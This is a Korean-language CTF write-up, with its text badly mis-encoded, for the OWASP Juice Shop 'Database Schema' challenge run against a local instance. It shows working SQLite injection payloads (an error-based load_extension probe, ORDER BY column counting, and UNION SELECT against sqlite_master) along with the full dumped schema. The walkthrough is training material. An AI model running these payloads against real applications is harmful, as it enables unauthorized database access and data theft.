๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF/OWASP Juice Shop

OWASP Juice Shop - Database Schema

by Janger 2023. 9. 29.
728x90
๋ฐ˜์‘ํ˜•

 

Exfiltrate the entire DB schema definition via SQL Injection. ์ง์—ญํ•˜๋ฉด SQL Injection์„ ํ†ตํ•˜์—ฌ DB ์Šคํ‚ค๋งˆ์˜ ์ •์˜์–ด๋ฅผ ๊ฐ€์ ธ์˜ค๋ผ๋Š” ์˜๋ฏธ์ด๋‹ค. 

 

SQLi๋ฅผ ์‹œ๋„ํ•ด ๋ณผ ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ ๋ฒกํ„ฐ๋Š” ํฌ๊ฒŒ ๋กœ๊ทธ์ธ๊ณผ ์ƒํ’ˆ ๊ฒ€์ƒ‰ ๋‘ ๊ฐ€์ง€ ์—ˆ์ง€๋งŒ ๋กœ๊ทธ์ธ ๋ถ€๋ถ„์€ ์ผ๋‹จ SQLi๋ฅผ ํ†ตํ•ด ์›ํ•˜๋Š” ๊ฒฐ๊ณผ๋ฅผ ๊ฐ€์ ธ์˜ค์ง€ ๋ชปํ•˜๋ฏ€๋กœ ์ผ๋‹จ ํŒจ์Šคํ•˜์˜€๋‹ค. (๊ทธ๋ฆฌ๊ณ  ์ด๋Ÿฐ ๋ฌธ์ œ ์œ ํ˜•์˜ ๊ณต๊ฒฉ ๋ฒกํ„ฐ๋Š” ์ฃผ๋กœ ๊ฒ€์ƒ‰ ํŽ˜์ด์ง€์ธ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์•˜์—ˆ๋‹ค.)

 

์ฃผ์ œ์™€๋Š” ์ƒ๊ด€ ์—†์ง€๋งŒ ๊ณ„์ • ํŽ˜์ด์ง€์—๋Š” ERROR BASED๋ฅผ ์ด์šฉํ•˜๋Š” ๋ธ”๋ผ์ธ๋“œ SQLi ๊ฐ€๋Šฅ์„ฑ์€ ์žˆ์—ˆ๋‹ค. 

jim@juice-sh.op' AND CASE WHEN (select 1 from Users where email='jim@juice-sh.op') THEN 1 ELSE load_extension(1) END;

 

 

์ƒํ’ˆ ๊ฒ€์ƒ‰ ํŽ˜์ด์ง€์—์„œ ์ผ๋ถ€๋กœ ์‹ฑ๊ธ€ ์ฟผํ„ฐ(')๋ฅผ ๋ณด๋‚ด๋ณด์•˜์ง€๋งŒ ์˜ˆ์ƒ๊ณผ ๋‹ฌ๋ฆฌ ์˜ค๋ฅ˜ ๊ฐ™์€ ๊ฒŒ ์—†์—ˆ๋‹ค. 

 

๊ทธ๋Ÿฐ๋ฐ ์•Œ๊ณ  ๋ดค๋”๋‹ˆ ์ง„์งœ ์š”์ฒญ์€ rest API๋กœ ๋”ฐ๋กœ ๋ณด๋‚ด๋Š” ๊ฑฐ์˜€์œผ๋ฉฐ ์ž…๋ ฅํ•œ ํ‚ค์›Œ๋“œ๋Š” ํด๋ผ์ด์–ธํŠธ ๋‹จ์—์„œ ํ•„ํ„ฐ๋ง์ด ๋˜๋Š” ๊ฒƒ์ด๋‹ค. 

 

๋ถ„๋ช… ์‹ฑ๊ธ€ ์ฟผํ„ฐ๋ฅผ ํฌํ•จํ–ˆ์ง€๋งŒ rest API๋กœ ๋ณด๋‚ผ ๋•Œ๋Š” ์ œ์™ธ๊ฐ€ ๋œ๋‹ค. 

 

์•„๋ฌดํŠผ ์ง์ ‘ ์ฟผ๋ฆฌ๋ฌธ์„ ๋ณด๋‚ผ ๋•Œ๋Š” /rest/products/search?q={์›ํ•˜๋Š” ํ‚ค์›Œ๋“œ} ์ฃผ์†Œ๋กœ ๋ณด๋‚ด๋Š” ๊ฒƒ์ด ํ•„์š”ํ•˜๋‹ค. 

 

 

๋‹ค์Œ์€ fetch ํ•จ์ˆ˜๋กœ ';๋ฅผ ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์œผ๋กœ ๋ณด๋‚ธ ๊ฒฐ๊ณผ์ด๋‹ค. 

fetch("http://localhost:3000/rest/products/search?q=';", {
  "headers": {
    "accept": "application/json, text/plain, */*",
    "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
    "if-none-match": "W/\"327b-kS3UAdqjlU4WDQqUi0PJpKmLrk8\"",
    "proxy-connection": "keep-alive",
    "sec-ch-ua": "\"Chromium\";v=\"117\", \"Not;A=Brand\";v=\"8\"",
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": "\"Windows\"",
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin"
  },
  "referrer": "http://localhost:3000/",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": null,
  "method": "GET",
  "mode": "cors",
  "credentials": "include"
});

 

์‘๋‹ต:

{
  "error": {
    "message": "SQLITE_ERROR: near \";\": syntax error",
    "stack": "Error: SQLITE_ERROR: near \";\": syntax error",
    "errno": 1,
    "code": "SQLITE_ERROR",
    "sql": "SELECT * FROM Products WHERE ((name LIKE '%';%' OR description LIKE '%';%') AND deletedAt IS NULL) ORDER BY name"
  }
}

 

์ƒํ’ˆ ๊ฒ€์ƒ‰ SQL

SELECT * FROM Products WHERE ((name LIKE '%{pํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ’}%' OR description LIKE '%{pํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ’}%') AND deletedAt IS NULL) ORDER BY name

์‹ค์ œ ์‚ฌ์šฉํ•˜๋Š” SQL์„ ์•Œ์•˜์œผ๋‹ˆ ์ธ์ ์…˜์„ ํ•ด์ฃผ๊ธฐ๋งŒ ํ•˜๋ฉด ๋œ๋‹ค. 

 

 

์šฐ์„  ์ปฌ๋Ÿผ์˜ ๊ฐœ์ˆ˜๋ฅผ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•ด ORDER BY๋ฅผ 1๋ถ€ํ„ฐ ๊ณ„์† ๋Š˜๋ ค์„œ ์ž…๋ ฅํ•˜๋Š”๋ฐ 10์—์„œ๋ถ€ํ„ฐ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ–ˆ๋‹ค. 

http://localhost:3000/rest/products/search?q=)')) ORDER BY 10 LIMIT 1,1;

 

์‘๋‹ต: 

{
  "error": {
    "message": "SQLITE_ERROR: 1st ORDER BY term out of range - should be between 1 and 9",
    "stack": "Error: SQLITE_ERROR: 1st ORDER BY term out of range - should be between 1 and 9",
    "errno": 1,
    "code": "SQLITE_ERROR",
    "sql": "SELECT * FROM Products WHERE ((name LIKE '%)')) ORDER BY 10 LIMIT 1,1;%' OR description LIKE '%)')) ORDER BY 10 LIMIT 1,1;%') AND deletedAt IS NULL) ORDER BY name"
  }
}

"should be between 1 and 9" ์นผ๋Ÿผ์˜ ๋ฒ”์œ„๋Š” 9๊นŒ์ง€๋ผ๊ณ  ํ•œ๋‹ค. 

 

 

์‹ค์ œ 1๋ถ€ํ„ฐ 9๊นŒ์ง€ SELECT๋ฅผ UNION ํ•ด์ฃผ๋‹ˆ ์•„๋ž˜์™€ ๊ฐ™์€ ์ •์ƒ์ ์ธ ์‘๋‹ต์ด ์˜ค๊ฒŒ ๋œ๋‹ค. 

http://localhost:3000/rest/products/search?q=)')) UNION SELECT 1,2,3,4,5,6,7,8,9 LIMIT 1;

 

 

์‘๋‹ต:

{
    "status": "success",
    "data": [
        {
            "id": 1,
            "name": 2,
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        }
    ]
}

 

 

 

์ด์ œ ๋‚จ์€๊ฑด ์Šคํ‚ค๋งˆ ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๊ฒƒ์ธ๋ฐ sqlite์—์„œ ์Šคํ‚ค๋งˆ ์ •๋ณด๋ฅผ ๋‹ด๊ณ  ์žˆ๋Š” ํ…Œ์ด๋ธ”์€ "sqlite_master"์ด๋‹ค. 

"sql" ์นผ๋Ÿผ์„ ์‚ฌ์šฉํ•˜๋ฉด ์‹ค์ œ ํ…Œ์ด๋ธ”์— ์‚ฌ์šฉ๋œ ์ •์˜์–ด๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์œผ๋ฉฐ "name" ์นผ๋Ÿผ์„ ์‚ฌ์šฉํ•˜๋ฉด ํ…Œ์ด๋ธ”์˜ ์ด๋ฆ„ ๊ฒฐ๊ณผ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค. 

http://localhost:3000/rest/products/search?q=!')) UNION SELECT sql,name,3,4,5,6,7,8,9 FROM sqlite_master;

 

์‘๋‹ต: 

{
    "status": "success",
    "data": [
        {
            "id": null,
            "name": "sqlite_autoindex_BasketItems_1",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": null,
            "name": "sqlite_autoindex_SecurityAnswers_1",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": null,
            "name": "sqlite_autoindex_Users_1",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Addresses` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `fullName` VARCHAR(255), `mobileNum` INTEGER, `zipCode` VARCHAR(255), `streetAddress` VARCHAR(255), `city` VARCHAR(255), `state` VARCHAR(255), `country` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Addresses",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `BasketItems` (`ProductId` INTEGER REFERENCES `Products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, `BasketId` INTEGER REFERENCES `Baskets` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `quantity` INTEGER, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, UNIQUE (`ProductId`, `BasketId`))",
            "name": "BasketItems",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Baskets` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `coupon` VARCHAR(255), `UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Baskets",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Captchas` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `captchaId` INTEGER, `captcha` VARCHAR(255), `answer` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Captchas",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Cards` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `fullName` VARCHAR(255), `cardNum` INTEGER, `expMonth` INTEGER, `expYear` INTEGER, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Cards",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Challenges` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `key` VARCHAR(255), `name` VARCHAR(255), `category` VARCHAR(255), `tags` VARCHAR(255), `description` VARCHAR(255), `difficulty` INTEGER, `hint` VARCHAR(255), `hintUrl` VARCHAR(255), `mitigationUrl` VARCHAR(255), `solved` TINYINT(1), `disabledEnv` VARCHAR(255), `tutorialOrder` NUMBER, `codingChallengeStatus` NUMBER, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Challenges",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Complaints` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `message` VARCHAR(255), `file` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Complaints",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Deliveries` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `name` VARCHAR(255), `price` FLOAT, `deluxePrice` FLOAT, `eta` FLOAT, `icon` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Deliveries",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Feedbacks` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `comment` VARCHAR(255), `rating` INTEGER NOT NULL, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Feedbacks",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `ImageCaptchas` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `image` VARCHAR(255), `answer` VARCHAR(255), `UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `createdAt` DATETIME, `updatedAt` DATETIME NOT NULL)",
            "name": "ImageCaptchas",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Memories` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `caption` VARCHAR(255), `imagePath` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Memories",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `PrivacyRequests` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `deletionRequested` TINYINT(1) DEFAULT 0, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "PrivacyRequests",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Products` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `name` VARCHAR(255), `description` VARCHAR(255), `price` DECIMAL, `deluxePrice` DECIMAL, `image` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `deletedAt` DATETIME)",
            "name": "Products",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Quantities` (`ProductId` INTEGER REFERENCES `Products` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `quantity` INTEGER, `limitPerUser` INTEGER DEFAULT NULL, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Quantities",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Recycles` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `AddressId` INTEGER REFERENCES `Addresses` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `quantity` INTEGER, `isPickup` TINYINT(1) DEFAULT 0, `date` DATETIME, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Recycles",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `SecurityAnswers` (`UserId` INTEGER UNIQUE REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `SecurityQuestionId` INTEGER REFERENCES `SecurityQuestions` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `answer` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "SecurityAnswers",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `SecurityQuestions` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `question` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "SecurityQuestions",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Users` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `username` VARCHAR(255) DEFAULT '', `email` VARCHAR(255) UNIQUE, `password` VARCHAR(255), `role` VARCHAR(255) DEFAULT 'customer', `deluxeToken` VARCHAR(255) DEFAULT '', `lastLoginIp` VARCHAR(255) DEFAULT '0.0.0.0', `profileImage` VARCHAR(255) DEFAULT '/assets/public/images/uploads/default.svg', `totpSecret` VARCHAR(255) DEFAULT '', `isActive` TINYINT(1) DEFAULT 1, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `deletedAt` DATETIME)",
            "name": "Users",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Wallets` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `balance` INTEGER DEFAULT 0, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Wallets",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE sqlite_sequence(name,seq)",
            "name": "sqlite_sequence",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        }
    ]
}

 

์ฐธ๊ณ : 

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#integerstring-based---extract-table-name

https://stackoverflow.com/questions/6460671/sqlite-schema-information-metadata

 

SQLite Schema Information Metadata

I need to get column names and their tables in a SQLite database. What I need is a resultset with 2 columns: table_name | column_name. In MySQL, I'm able to get this information with a SQL query on

stackoverflow.com

 

728x90
๋ฐ˜์‘ํ˜•